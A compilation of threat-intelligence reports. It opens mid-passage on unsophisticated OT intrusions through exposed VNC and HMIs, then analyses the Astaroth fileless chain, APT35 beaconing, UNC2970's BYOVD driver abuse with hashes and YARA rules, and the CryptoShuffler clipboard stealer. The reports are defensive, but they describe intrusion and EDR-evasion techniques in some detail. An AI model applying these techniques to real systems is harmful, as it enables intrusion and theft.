nature, other targets present very little risk. The following timeline presents a selection of some public and previously undisclosed OT compromises Mandiant observed between 2020 and early 2021. We note that, although it is possible many of these incidents involved process interaction, high confidence validation is not feasible as most often the evidence is provided by the actor itself. ## Low Sophistication OT Threat Activity Can Take Many Forms A consistent characteristic we observe among low sophisticated compromises is that actors most often exploit unsecure remote access services, such as virtual network computing (VNC) connections, to remotely access the compromised control systems. Graphical user interfaces (GUI), such as human machine interfaces (HMI), become the low-hanging fruit of process-oriented OT attacks as they provide a user-friendly representation of complex industrial processes, which enables actors to modify control variables without prior knowledge of a process. In many cases, the actors showed evidence of compromised control processes via images of GUIs, IP addresses, system timestamps, and videos. ## Low Sophistication Threat Actors Access HMIs and Manipulate Control Processes In March 2020, we analyzed a series of screenshots shared by a threat actor who claimed to compromise dozens of control systems across North America, Western and Central Europe, and East Asia. Based on the timestamps from the images, the actor appeared to gain unauthorized access to these assets over a five-day period. The actor also shared a low-quality cell phone video showing their explicit interaction with a Dutch-language temperature control system. While much of this type of activity appears opportunistic in nature, some may also be driven by political motivations. For example, we have seen hacktivist groups that frequently use anti-Israel/pro-Palestine rhetoric in social media posts share images indicating that they had compromised OT assets in Israel, including a solar energy asset and the webserver of a datalogger used for different applications such as mining exploration and dam surveillance. Some threat actors appear particularly eager to demonstrate their interaction with compromised control systems. One threat actor shared multiple screen recordings making arbitrary set point changes to compromised HMIs via remote connections from their own desktop. While we suspect many of the victims compromised by this threat actor were small- and medium-sized businesses, on one occasion the group appeared to have successfully accessed the BAS of a hotel in Australia belonging to a major international hotel chain. ## Some Amateur Actors Show Limited OT Expertise Some of the actors we track made comments that indicated they had either a limited understanding of the OT assets they compromised or that they were simply attempting to gain notoriety. For example, one threat actor shared a screenshot of a purportedly compromised German-language rail control system. We conducted a reverse image search of the screenshot and identified the asset as the web interface for an ECoS 50210 command station designed for model train sets. Another group made a similar gaffe when they claimed to retaliate for an explosion at a missile facility in Iran by compromising an Israeli “gas system.” A video of their operation showed that they had actually compromised a kitchen ventilation system installed at a restaurant in Ramat Hasharon, Israel. ## Low Sophistication OT Threat Activity is Supported by Hacktivist Tutorials In a few instances, actors operating as part of hacktivist collectives created and shared tutorials that instructed their affiliates and sympathetic parties on how to identify and compromise internet-accessible OT assets. The tutorials typically described simple methodologies, such as using VNC utilities to connect to IP addresses identified in Shodan or Censys searches for port 5900. These methods appear to have been used in some of the incidents we described, as some of the shared screenshots of compromised OT systems also showed the actor’s web browser tabs displaying similar Shodan queries and remote access tools. ## Low Sophistication OT Compromises Pose A Growing Risk Each of the low sophistication incidents we observe is unique and poses a different level of risk, which we normally determine by examining the actor’s previous work and reputation, the target’s industry, and the nature of the compromised process, among other things. While low sophistication incidents do not appear to commonly impact physical environments, they remain concerning for the following reasons: - Each incident provides threat actors with opportunities to learn more about OT, such as the underlying technology, physical processes, and operations. These opportunities can increase an adversary's ability and enhance their tradecraft. - Even low-sophistication intrusions into OT environments carry the risk of disruption to physical processes, mainly in the case of industries or organizations with less mature security practices. As the number of intrusions increase, so does the risk of process disruption. - The publicity of these incidents normalizes cyber operations against OT and may encourage other threat actors to increasingly target or impact these systems. This is consistent with the increase in OT activity by more resourced financially-motivated groups and ransomware operators. ## Security Best Practices and Situational Awareness Help Prevent Low Sophistication Compromises Defense against low sophistication compromises is best addressed by implementing security best practices and gaining situational awareness about the threat exposure of assets and data. Implementing security controls to defend against this activity is also the foundation for mature security programs that seek to prevent and identify complex OT threats before they introduce a risk to the safety of people and infrastructure. - Whenever feasible, remove OT assets from public-facing networks. If remote access is required, deploy access controls and monitor traffic for unusual activity to minimize unintended interaction and safeguard asset information. - Apply common network-hardening techniques to remotely accessible and edge devices, such as disabling unused services, changing default credentials, reviewing asset configurations, and creating whitelists for access. - Determine if relevant assets are discoverable using online scanners such as Shodan and Censys. Leverage support from knowledgeable security researchers to identify exposed assets and leaked information. - Maintain situational awareness on threat actors’ interest in cyber physical systems and the development of OT exploits, with particular interest in attention driven to your organization, third party providers, or original equipment manufacturers (OEM). - Configure HMIs and other control system assets to enforce acceptable input ranges and prohibit hazardous variable states. Similar to web application security, automation programmers should treat all operator input as potentially malicious and gain security assurances by validating that the operator input is within acceptable thresholds.
# Dismantling a Fileless Campaign: Microsoft Defender ATP’s Antivirus Exposes Astaroth Attack **July 8, 2019** The prevailing perception about fileless threats, among the security industry’s biggest areas of concern today, is that security solutions are helpless against these supposedly invincible threats. Because fileless attacks run the payload directly in memory or leverage legitimate system tools to run malicious code without having to drop executable files on the disk, they present challenges to traditional file-based solutions. But let’s set the record straight: being fileless doesn’t mean being invisible; it certainly doesn’t mean being undetectable. There’s no such thing as the perfect cybercrime: even fileless malware leaves a long trail of evidence that advanced detection technologies in Microsoft Defender Advanced Threat Protection (Microsoft Defender ATP) can detect and stop. To help disambiguate the term fileless, we developed a comprehensive definition for fileless malware as reference for understanding the wide range of fileless threats. We have also discussed at length the advanced capabilities in Microsoft Defender ATP that counter fileless techniques. I recently unearthed a widespread fileless campaign called Astaroth that completely “lived off the land”: it only ran system tools throughout a complex attack chain. The attack involved multiple steps that use various fileless techniques and proved a great real-world benchmark for Microsoft Defender ATP’s capabilities against fileless threats. In this blog, I will share my analysis of a fileless attack chain that demonstrates: - Attackers would go to great lengths to avoid detection - Advanced technologies in Microsoft Defender ATP’s Antivirus expose and defeat fileless attacks ## Exposing a Fileless Info-Stealing Campaign with Microsoft Defender ATP’s Antivirus I was doing a routine review of Windows Defender Antivirus telemetry when I noticed an anomaly from a detection algorithm designed to catch a specific fileless technique. Telemetry showed a sharp increase in the use of the Windows Management Instrumentation Command-line (WMIC) tool to run a script, indicating a fileless attack. After some hunting, I discovered the campaign that aimed to run the Astaroth backdoor directly in memory. Astaroth is a notorious info-stealing malware known for stealing sensitive information like credentials, keystrokes, and other data, which it exfiltrates and sends to a remote attacker. The attacker can then use stolen data to try moving laterally across networks, carry out financial theft, or sell victim information in the cybercriminal underground. While the behavior may slightly vary in some instances, the attack generally followed these steps: A malicious link in a spear-phishing email leads to an LNK file. When double-clicked, the LNK file causes the execution of the WMIC tool with the “/Format” parameter, which allows the download and execution of a JavaScript code. The JavaScript code in turn downloads payloads by abusing the Bitsadmin tool. All the payloads are Base64-encoded and decoded using the Certutil tool. Two of them result in plain DLL files (the others remain encrypted). The Regsvr32 tool is then used to load one of the decoded DLLs, which in turn decrypts and loads other files until the final payload, Astaroth, is injected into the Userinit process. It’s interesting to note that at no point during the attack chain is any file run that’s not a system tool. This technique is called living off the land: using legitimate tools that are already present on the target system to masquerade as regular activity. The attack chain above shows only the Initial Access and Execution stages. In these stages, the attackers used fileless techniques to attempt to silently install the malware on target devices. Astaroth is a notorious information stealer with many other post-breach capabilities that are not discussed in this blog. Preventing the attack in these stages is critical. Despite its use of “invisible” techniques, the attack chain runs under the scrutiny of Microsoft Defender ATP. Multiple advanced technologies at the core of Windows Defender Antivirus expose these techniques to spot and stop a wide range of attacks. These protection technologies stop threats at first sight, use the power of the cloud, and leverage Microsoft’s industry-leading optics to deliver effective protection. This defense-in-depth is observed in the way these technologies uncovered and blocked the attack at multiple points in Astaroth’s complex attack chain. For traditional, file-centric antivirus solutions, the only window of opportunity to detect this attack may be when the two DLLs are decoded after being downloaded—after all, every executable used in the attack is non-malicious. If this were the case, this attack would pose a serious problem: since the DLLs use code obfuscation and are likely to change very rapidly between campaigns, focusing on these DLLs would be a vicious trap. However, as mentioned, Microsoft Defender ATP’s Antivirus catches fileless techniques. Let’s break down the attack steps, enumerate the techniques used using MITRE technique ID as reference, and map the relevant Microsoft Defender ATP protection. ### Step 1: Arrival The victim receives an email with a malicious URL. The URL uses misleading names like certidao.htm, abrir_documento.htm, pedido.htm, etc. When clicked, the malicious link redirects the victim to the ZIP archive certidao.htm.zip, which contains a similarly misleading named LNK file certidao.htm.lnk. When clicked, the LNK file runs an obfuscated BAT command-line. **MITRE techniques observed:** - T1192 – Spearphishing Link - T1023 – Shortcut Modification **Microsoft Defender ATP’s Antivirus protection:** - Command-line scanning: Trojan:Win32/BadEcho.A - Heuristics engine: Trojan:Win32/Linkommer.A - Windows Defender SmartScreen ### Step 2: WMIC Abuse, Part 1 The BAT command runs the system tool WMIC.exe. The use of the parameter /format causes WMIC to download the file v.txt, which is an XSL file hosted on a legitimate-looking domain. The XSL file hosts an obfuscated JavaScript that is automatically run by WMIC. This JavaScript code simply runs WMIC again. **MITRE techniques observed:** - T1047 – Windows Management Instrumentation - T1220 – XSL Script Processing - T1064 – Scripting - T1027 – Obfuscated Files Or Information **Microsoft Defender ATP’s Antivirus protection:** - Behavior monitoring engine: Behavior:Win32/WmiFormatXslScripting - AMSI integration engine: Trojan:JS/CovertXslDownload. ### Step 3: WMIC Abuse, Part 2 WMIC is run in a fashion similar to the previous step. WMIC downloads vv.txt, another XSL file containing an obfuscated JavaScript code, which uses the Bitsadmin, Certutil, and Regsvr32 tools for the next steps. **MITRE techniques observed:** - T1047 – Windows Management Instrumentation - T1220 – XSL Script Processing - T1064 – Scripting - T1027 – Obfuscated Files Or Information **Microsoft Defender ATP’s Antivirus protection:** - Behavior monitoring engine: Behavior:Win32/WmiFormatXslScripting - Behavior monitoring engine: Behavior:Win32/WmicLoadDll.A - AMSI integration engine: Trojan:JS/CovertBitsDownload.C ### Step 4: Bitsadmin Abuse Multiple instances of Bitsadmin are run to download additional payloads. The payloads are Base64-encoded and have file names like: falxconxrenwb.~ , falxconxrenw64.~ , falxconxrenwxa.~ , falxconxrenwxb.~ , falxconxrenw98.~ , falxconxrenwgx.gif, falxfonxrenwg.gif. **MITRE techniques observed:** - T1197 – BITS Jobs - T1105 – Remote File Copy **Microsoft Defender ATP’s Antivirus protection:** - Behavior monitoring engine: Behavior:Win32/WmicBits.A ### Step 5: Certutil Abuse The Certutil system tool is used to decode the downloaded payloads. Only a couple of files are decoded to a DLL; most are still encrypted/obfuscated. **MITRE technique observed:** - T1140 – Deobfuscate/Decode Files Or Information **Microsoft Defender ATP’s Antivirus protection:** - Behavior monitoring engine: Behavior:Win32/WmiCertutil.A ### Step 6: Regsvr32 Abuse One of the decoded payload files (a DLL) is run within the context of the Regsvr32 system tool. The file falxconxrenw64.~ is a proxy: it loads and runs a second DLL, falxconxrenw98.~ , and passes it to a third DLL that is obtained by reading files falxconxrenwxa.~ and falxconxrenwxb.~. The DLL falxconxrenw98.~ then reflectively loads the third DLL. **MITRE techniques observed:** - T1117 – Regsvr32 - T1129 – Execution Through Module Load - T1140 – Deobfuscate/Decode Files Or Information **Microsoft Defender ATP’s Antivirus protection:** - Behavior monitoring engine: Behavior:Win32/UserinitInject.B - Attack surface reduction: An attack surface reduction rule detects the loading of a DLL that does not meet the age and prevalence criteria (i.e., a new unknown DLL) ### Step 7: Userinit Abuse The newly loaded DLL reads and decrypts the file falxconxrenwgx.gif into a DLL. It runs the system tool userinit.exe into which it injects the decrypted DLL. The file falxconxrenwgx.gif is again a proxy that reads, decrypts, and reflectively loads the DLL falxconxrenwg.gif. This last DLL is the malicious info stealer known as Astaroth. **MITRE techniques observed:** - T1117 – Regsvr32 - T1129 – Execution Through Module Load - T1140 – Deobfuscate/Decode Files Or Information **Microsoft Defender ATP’s Antivirus protection:** - Behavior monitoring engine: Behavior:Win32/Astaroth.A - Attack surface reduction: An attack surface reduction rule detects the loading of a DLL that does not meet the age and prevalence criteria (i.e., a new unknown DLL) ## Comprehensive Protection Against Fileless Attacks with Microsoft Threat Protection The strength of Microsoft Defender ATP’s Antivirus engines in exposing fileless techniques adds to the capabilities of the unified endpoint protection platform. Activities related to fileless techniques are reported in Microsoft Defender Security Center as alerts, so security operations teams can further investigate and respond to attacks using endpoint detection and response, advanced hunting, and other capabilities in Microsoft Defender ATP. The rest of Microsoft Defender ATP’s capabilities beyond Antivirus enable security operations teams to detect and remediate fileless threats and other attacks. Notably, Microsoft Defender ATP endpoint detection and response (EDR) has strong and durable detections for fileless and living-off-the-land techniques across the entire attack chain. We also published a threat analytics report on living-off-the-land binaries to help security operations assess organizational security posture and resilience against these threats. New Microsoft Defender ATP services like threat and vulnerability management and Microsoft Threat Experts (managed threat hunting) further assist organizations in defending against fileless threats. Through signal-sharing and orchestration of threat remediation across Microsoft’s security technologies, these protections are further amplified in Microsoft Threat Protection, Microsoft’s comprehensive security solution for the modern workplace. For this Astaroth campaign, Office 365 Advanced Threat Protection (Office 365 ATP) detects the emails with malicious links that start the infection chain. ## Conclusion: Fileless Threats Are Not Invisible To come back to one of my original points in this blog post, being fileless doesn’t mean being invisible; it certainly doesn’t mean being undetectable. An analogy: Pretend you are transported to the world of H.G. Wells’ *The Invisible Man* and can render yourself invisible. You think, great, you can walk straight into a bank and steal money. However, you soon realize that things are not as simple as they sound. When you walk out in the open and it’s cold, your breath’s condensation gives away your position; depending on the type of ground, you can leave visible footmarks; if it’s raining, water splashing on you creates a visible outline. If you manage to get inside the bank, you still make noise that security guards can hear. Motion detection sensors can feel your presence, and infrared cameras can still see your body heat. Even if you can open a safe or a vault, these storage devices may trigger an alert, or someone may simply notice the safe opening. Not to mention that if you somehow manage to grab the money and put them in a bag, people are likely to notice a bag that’s walking itself out of the bank. Being invisible may help you for some things, but you should not be under the illusion that you are invincible. The same applies to fileless malware: abusing fileless techniques does not put malware beyond the reach or visibility of security software. On the contrary, some of the fileless techniques may be so unusual and anomalous that they draw immediate attention to the malware, in the same way that a bag of money moving by itself would. Using invisible techniques and being actually invisible are two different things. Using advanced technologies, Microsoft Defender ATP exposes fileless threats like Astaroth before these attacks can cause more damage. *Andrea Lelli* *Microsoft Defender ATP Research*
# APT35 ‘Charming Kitten' Discovered in a Pre-Infected Environment Max Heinemeyer, Director of Threat Hunting | Friday April 23, 2021 APT35, sometimes referred to as Charming Kitten, Imperial Kitten, or Tortoiseshell, is a notorious cyber-espionage group which has been active for nearly 10 years. Famous for stealing scripts from HBO’s *Game of Thrones* in 2017 and suspected of interfering in the U.S. presidential election last year, it has launched extensive campaigns against organizations and officials across North America and the Middle East. Public attribution has associated APT35 with an Iran-based nation state threat actor. Darktrace regularly detects attacks by many known threat actors including Evil Corp and APT41, alongside large amounts of malicious but uncategorized activity from sophisticated attack groups. As Cyber AI doesn’t rely on predefined rules, signatures, or threat intelligence to detect cyber-attacks, it often detects new and previously unknown threats. This blog post examines a real-world instance of APT35 activity in an organization in the EMEA region. Darktrace observed this activity last June, but due to ongoing investigations, details are only now being released with the wider community. It represents an interesting case for the value of self-learning AI in two key ways: - Identifying ‘low and slow’ attacks: How do you spot an attacker that is lying low and conducts very little detectable activity? - Detecting pre-existing infections without signatures: What if a threat actor is already inside the system when Cyber AI is activated? ## Advanced Persistent Threats (APTs) Lying Low APT35 had already infected a single corporate device, likely via a spear phishing email, when Cyber AI was deployed in the company’s digital estate for the first time. The infected device exhibited no other signs of malicious activity beyond continued command and control (C2) beaconing, awaiting instructions from the attackers for several days. This is what we call ‘lying low’ – where the hacker stays present within a system, but remains under the radar, avoiding detection either intentionally, or because they’re focusing on another victim while being content with backdoor access into the organization. Either way, this is a nightmare scenario for a security team and any security vendor: an APT which has established a foothold and is lying in wait to continue their attack – undetected. ## Finding the Infected Device When Darktrace’s AI was first activated, it spent five business days learning the unique ‘patterns of life’ for the organization. After this initial, short learning period, Darktrace immediately flagged the infected device and the C2 activity. Although the breach device had been beaconing since before Darktrace was implemented, Cyber AI automatically clusters devices into ‘peer groups’ based on similar behavioral patterns, enabling Darktrace to identify the continued C2 traffic coming from the device as highly unusual in comparison to the wider, automatically identified peer group. None of its behaviorally close neighbors were doing anything remotely similar, and Darktrace was therefore able to determine that the activity was malicious, and that it represented C2 beaconing. Darktrace detected the APT35 C2 activity without the use of any signatures or threat intelligence on multiple levels. Responding to the alerts, the internal security team quickly isolated the device and verified with the Darktrace system that no further reconnaissance, lateral movement, or data exfiltration had taken place. ## APT35 ‘Charming Kitten’ Analysis Once the C2 was detected, Cyber AI Analyst immediately began analyzing the infected device. The Cyber AI Analyst only highlights the most severe incidents in any given environment and automates many of the typical level one and level two SOC tasks. This includes reviewing all alerts, investigating the scope and nature of each event, and reducing time to triage by 92%. Numerous factors made the C2 activity stand out strongly to Darktrace. Combining all those small anomalies, Darktrace was able to autonomously prioritize this behavior and classify it as the most significant security incident in the week. Some of the command and control destinations were known to threat intelligence and open-source intelligence (OSINT) – for instance, the domain cortanaservice[.]com is a known C2 domain for APT35. However, the presence of a known malicious domain does not guarantee detection. In fact, the organization had a very mature security stack, yet they failed to discover the existing APT35 infection until Darktrace was activated in their environment. ## Assessing the Impact of the Intrusion Once an intrusion has been identified, it is important to understand the extent of it – such as whether lateral movement is occurring and what connectivity the infected device has in general. Asset management is never perfect, so it can be very hard for organizations to determine what damage a compromised device is capable of inflicting. Darktrace presents this information in real time, and from a bird’s-eye perspective, making the assessment very simple. It immediately highlights which subnet the device is located in and any further context. Based on this information, the organization confirmed that it was a corporate device that had been infected by APT35. As Darktrace shows any credentials associated with the device, a quick assessment could be made of potentially compromised accounts. Luckily, only a single local user account was associated with the device. The exact level of privileges and connectivity which the infected device had, as well as the extent to which the intrusion might have spread from the initially infected device, was still uncertain. By looking at the device’s event log, this became rapidly clear within minutes. Filtering first for internal connections only (excluding any connections going to the Internet) gave a good idea of the level of connectivity of the device. A cursory glance showed that the device did indeed have some level of internal connectivity. It made DNS requests to the internal domain controller and was making successful NetBIOS connections over ports 135 and 139 internally. By filtering further in the event log, it quickly became clear that in this time the device had not used any administrative channels, such as RDP, SSH, Telnet, or SMB. This is a strong indicator that no lateral movement over common channels had taken place. It is more difficult to assess whether the device was performing any other suspicious activity, like stealthy reconnaissance or staging data from other internal devices. Darktrace provided another capability to assess this quickly – filtering the device’s network connections to show only unusual or new connections. Darktrace assesses each individual connection for every entity observed in context, using its unsupervised machine learning to evaluate how unusual a given connection is. This could be a single new failed internal connection attempt, indicating stealthy reconnaissance, or a connection over SMB at an unusual time to a new internal destination, implying lateral movement or data staging. By filtering for only unusual or new connections, Darktrace’s AI produces further leads that can be pursued extremely quickly, thanks to the context and added visibility. No further suspicious internal connections were observed, strengthening the hypothesis that APT35 was lying low at that time. ## Unprecedented but Not Unpreventable Darktrace’s 24/7 monitoring service, Proactive Threat Notifications, would have alerted on and escalated the incident. Darktrace Antigena would have responded autonomously and enforced normal activity for the device, preventing the C2 traffic without interrupting regular business workflows. It is impossible to predefine where the next attack will come from. APT35 is just one of the many sophisticated threat actors on the scene, and with such a diverse and volatile threat landscape, unsupervised machine learning is crucial in spotting and defending against anomalies, no matter what form they take. This case study helps illustrate how Darktrace detects pre-existing infections and ‘low and slow’ attacks, and further shows how Darktrace can be used to quickly understand the scope and extent of an intrusion. ## Shortened List of C2 Detections Over Four Days on the Infected Device - Compromise / Sustained TCP Beaconing Activity To Rare Endpoint - Compromise / Beaconing Meta Model - Compromise / Beaconing Activity To External Rare - Compromise / SSL Beaconing To Rare Destination - Compromise / Slow Beaconing To External Rare - Compromise / High Volume of Connections with Beacon Score - Compromise / Unusual Connections to Rare Lets Encrypt - Compromise / Beacon for 4 Days - Compromise / Agent Beacon ## Observed C2 Destinations - cortanaservice[.]com, port 443, beacon intervals at 100 seconds Max Heinemeyer Max is a cyber security expert with over a decade of experience in the field, specializing in a wide range of areas such as Penetration Testing, Red-Teaming, SIEM and SOC consulting and hunting Advanced Persistent Threat (APT) groups. At Darktrace, Max oversees global threat hunting efforts, working with strategic customers to investigate and respond to cyber-threats. He works closely with the R&D team at Darktrace’s Cambridge UK headquarters, leading research into new AI innovations and their various defensive and offensive applications. Max’s insights are regularly featured in international media outlets such as the BBC, Forbes and WIRED. When living in Germany, he was an active member of the Chaos Computer Club. Max holds an MSc from the University of Duisburg-Essen and a BSc from the Cooperative State University Stuttgart in International Business Information Systems.
# Stealing the LIGHTSHOW (Part Two) — LIGHTSHIFT and LIGHTSHOW In part one on North Korea's UNC2970, we covered UNC2970’s tactics, techniques and procedures (TTPs) and tooling that they used over the course of multiple intrusions. In this installment, we will focus on how UNC2970 utilized Bring Your Own Vulnerable Device (BYOVD) to further enable their operations. During our investigation, Mandiant consultants identified most of the original compromised hosts targeted by UNC2970 contained the files `%temp%\<random>_SB_SMBUS_SDK.dll` and suspicious drivers, created around the same time on disk. At the time Mandiant initially identified these files, we were unable to determine how they were dropped or the exact use for these files. It wasn't until later in the investigation, during analysis of a forensic image, where the pieces started falling into place. A consultant noticed multiple keyword references to the file `C:\ProgramData\USOShared\Share.DAT` (MD5: `def6f91614cb47888f03658b28a1bda6`). Upon initial glance at the forensic image, this file was no longer on disk. However, Mandiant was able to recover the original file, and the initial analysis of the sample found that `Share.DAT` was a XORed data blob, which was encoded with the XOR key `0x59`. The decoded payload (MD5: `9176f177bd88686c6beb29d8bb05f20c`), referred to by Mandiant as LIGHTSHIFT, is an in-memory only dropper. The LIGHTSHIFT dropper distributes a payload (MD5: `ad452d161782290ad5004b2c9497074f`) that Mandiant refers to as LIGHTSHOW. Once loaded into memory, LIGHTSHIFT invokes the exports `Create` then `Close` in that order. The response from `Close` is written as a hex formatted address to the file `C:\Windows\windows.ini`. LIGHTSHOW is a utility that makes use of two primary anti-analysis techniques used to hinder both dynamic and static analysis. To deter static analysis, LIGHTSHOW was observed being packed by VM-Protect. In an effort to thwart dynamic analysis, LIGHTSHOW is targeted to a specific host and requires a specific SHA256 hash corresponding to a specific computer name or the sample will not fully execute. Once FLARE completed the analysis of LIGHTSHOW, we were able to understand how the files `%temp%\<random>_SB_SMBUS_SDK.dll` and drivers were created on disk. LIGHTSHOW is a utility that was used by UNC2970 to manipulate kernel data structures and represents an advancement in DPRK’s capabilities to evade detection. To accomplish this, LIGHTSHOW drops a legitimate version of a driver with known vulnerabilities, with a SHA256 hash of `175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347` to `C:\Windows\System32\Drivers` with one of the following names chosen at random and appended with `mgr`: - circlass - dmvsc - hidir - isapnp - umpass LIGHTSHOW then creates the registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service name>` where `<service name>` is the same as the chosen filename without appended `mgr`. It then creates a registry key with the value name `ImagePath`, which points to the path of the driver. The sample then loads the driver using `NtLoadDriver`. LIGHTSHOW drops and loads a dummy DLL `%temp%\<random>_SB_SMBUS_SDK.dll` to register itself to the driver as a legitimate caller. Using the vulnerable driver, LIGHTSHOW can perform arbitrary read and write operations to kernel memory. LIGHTSHOW uses this read/write primitive to patch different kernel routines, which are related to the type of facilities an Endpoint Detection and Response (EDR) software may use, to enable evasion of said EDR software. After the read and write operations to kernel memory, the sample unloads and deletes `%temp%\<random>_SB_SMBUS_SDK.dll`. Examining the chain of execution, we see further obfuscation techniques being employed in LIGHTSHOW. UNC2970 has a concerted effort towards obfuscation and employs multiple methods to do this throughout the entire chain of delivery and execution. LIGHTSHOW is another example of tooling that looks to capitalize on the technique of BYOVD. BYOVD is a technique that utilizes the abuse of legitimate and trusted, but vulnerable drivers, to bypass kernel level protections. This technique has been utilized by adversaries ranging from financial actors, such as UNC3944, to espionage actors like UNC2970, which shows its usefulness during intrusion operations. AHNLab recently released a report on activity tracked as Lazarus Group that focused largely on the use of BYOVD. While Mandiant did not observe the hashes included in the AHNLab report, the use of `SB_SMBUS_SDK.dll` as well as other similarities, such as the exported functions `Create` and `Close`, indicate an overlap between the activity detailed in this blog post and those detailed by AHNLab. Throughout several incidents we responded to in 2022 that involved UNC2970, we observed them utilizing a small set of vulnerable drivers. This includes the Dell DBUtil 2.3 and the ENE Technology device drivers. UNC2970 utilized both of these drivers in an attempt to evade detection. These two drivers, and many more, are found in the Kernel Driver Utility (KDU) toolkit. With this in mind, it is likely that we will continue to see UNC2970 abuse vulnerable drivers from other vendors. Mandiant has worked to detect and mitigate BYOVD techniques for a number of years and has worked closely with industry allies to report vulnerabilities when discovered. During research being carried out on UNC2970, we discovered a vulnerable driver that the actor had access to, but did not know was vulnerable - essentially making it a 0day in the wild but not being actively exploited. This was verified through our Offensive Task Force who subsequently carried out a notification to the affected organization and reported the vulnerability to MITRE, which was assigned CVE-2022-42455. ## Outlook and Implications Mandiant continues to observe multiple threat actors utilizing BYOVD during intrusion operations. Because this TTP provides adversaries an effective means to bypass and mitigate EDR, we assess that it will continue to be utilized and adapted into actor tooling. The continued targeting of security researchers by UNC2970 also provides an interesting way that the group can potentially continue to expand their toolset to gain an upper hand with BYOVD. ## Mitigations Because attestation signing is a legitimate Microsoft program and the resulting drivers are signed with Microsoft certificates, execution-time detection is made much more difficult as most EDR tools and Anti-Viruses will allow binaries signed with Microsoft certificates to load. The recent blog post released by Mandiant on UNC3944 driver operations details multiple techniques that can be used by organizations to hunt for the abuse of attestation signing. If you haven't already, don't forget to read part one on North Korea's UNC2970. Additionally, Microsoft recently released a report detailing how organizations can harden their environment against potentially vulnerable third-party developed drivers. ## Indicators of Compromise | MD5 | Signature | | --- | --- | | def6f91614cb47888f03658b28a1bda6 | XOR’d LIGHTSHIFT | | 9176f177bd88686c6beb29d8bb05f20c | LIGHTSHIFT | | ad452d161782290ad5004b2c9497074f | LIGHTSHOW | | 7e6e2ed880c7ab115fca68136051f9ce | ENE Driver | | SB_SMBUS_SDK.dll | LIGHTSHOW Dummy DLL | | C:\Windows\windows.ini | LIGHTSHIFT Output | ## Signatures ### LIGHTSHIFT ```plaintext rule M_Code_LIGHTSHIFT { meta: author = "Mandiant" description = "Hunting rule for LIGHTSHIFT" sha256 = "ce501fd5c96223fb17d3fed0da310ea121ad83c463849059418639d211933aa4" strings: $p00_0 = {488b7c24??448d40??48037c24??488bcfff15[4]817c24[5]74??488b4b??33d2} $p00_1 = {498d7c01??8b47??85c075??496345??85c07e??8b0f41b9} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ( ($p00_0 in (750..11000) and $p00_1 in (0..8200)) ) } ``` ### LIGHTSHOW ```plaintext rule M_Code_LIGHTSHOW { meta: author = "Mandiant" description = "Hunting rule For LIGHTSHOW." md5 = "ee5057da3e38b934dae15644c6eb24507fb5a187630c75725075b24a70065452" strings: $E01 = { 46 75 64 4d 6f 64 75 6c 65 2e 64 6c 6c } $I01 = { 62 63 72 79 70 74 2e 64 6c 6c } $I02 = { 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c } $I03 = { 75 73 65 72 33 32 2e 64 6c 6c 00 } $H1 = { 4D 5A 90 00 } $H2 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F } $F01 = { 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 57 } $F02 = { 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 } $F03 = { 47 65 74 46 69 6c 65 54 79 70 65 } $F04 = { 47 65 74 56 65 72 73 69 6f 6e } $F05 = { 51 75 65 72 79 53 65 72 76 69 63 65 53 74 61 74 75 73 } $F06 = { 42 43 72 79 70 74 4f 70 65 6e 41 6c 67 6f 72 69 74 68 6d 50 72 6f 76 69 64 65 72 } $M01 = { 68 2d 79 6e b1 } $M02 = { 68 ea 71 c2 55 } $M03 = { 66 b8 ad eb } $M04 = { 4c 8d 2c 6d b3 6c 05 39 } $M05 = { 48 8d 2c 95 08 9d ec 9a } $S01 = { 48 8d 0c f5 a3 cd 0a eb } $S02 = { 81 f9 7f 56 e6 0a } condition: ($H1 in (0..2048)) and ($H2 in (0..2048)) and filesize < 100MB and filesize > 5KB and all of ($M0*) and all of ($E*) and all of ($I0*) and 6 of ($F0*) and all of ($S0*) } ```
# CryptoShuffler Stole $150,000 by Replacing Bitcoin Wallet IDs in PC Clipboards The operators of a malware strain identified as CryptoShuffler have made at least $150,000 worth of Bitcoin by using an extremely simple scheme. Crooks infect users with their trojan, which then sits idly on users' computers and does nothing but watch the user's clipboard and replace any string that looks like a Bitcoin wallet with the attackers' address. When the victim wants to make a payment and copy-pastes the wallet ID inside a payment field, if the user doesn't notice the new address, crooks would receive the payment. ## CryptoShuffler has been active since 2016 The trojan has been making the rounds for more than a year. Transactions to CryptoShuffler's Bitcoin wallet reached their peak in late 2016, but Kaspersky Lab detected a new campaign in June 2017. "The malware described is a perfect example of a 'rational' gain," said Sergey Yunakovsky, Kaspersky Lab malware analyst. "The scheme of its operation is simple and effective: no access to pools, no network interaction, and no suspicious processor load." CryptoShuffler's Bitcoin wallet currently holds 23.21 Bitcoin, worth over $150,000 at today's (record) Bitcoin price of $6,544. ## CryptoShuffler targets other cryptocurrencies as well Besides Bitcoin, crooks also targeted wallets for other cryptocurrencies, such as Dogecoin, Litecoin, Dash, Ethereum, Monero, and Zcash. The funds in the wallets for the other cryptocurrencies aren't pennies either, ranging from tens to thousands of US dollars. CryptoShuffler is one of the most successful malware families targeting cryptocurrencies to date. For example, another malware author wasted months scanning for vulnerable IIS servers to install a Monero miner, only to make $63,000. Making over $150,000 for some code that watches the clipboard and replaces a string is quite the ROI (return on investment). ## CryptoShuffler MD5 hash: - 0ad946c351af8b53eac06c9b8526f8e4 - 095536CA531AE11A218789CF297E71ED - 14461D5EA29B26BB88ABF79A36C1E449 - 1A05F51212DEA00C15B61E9C7B7E647B - 1E785429526CC2621BAF8BB05ED17D86 - 2028383D63244013AA2F9366211E8682 - 25BF6A132AAE35A9D99E23794A41765F - 39569EF2C295D1392C3BC53E70BCF158 - 50E52DBF0E78FCDDBC42657ED0661A3E - 6EB7202BB156E6D90D4931054F9E3439 - 7AE273CD2243C4AFCC52FDA6BF1C2833 - 7EC256D0470B0755C952DB122C6BDD0B - 80DF8640893E2D7CCD6F66FFF6216016 - AA46F95F25C764A96F0FB3C75E1159F8 - B7ADC8699CDC02D0AB2D1BB8BE1847F4 - D45B0A257F8A0710C7B27980DE22616E - D9A2CD869152F24B1A5294A1C82B7E85
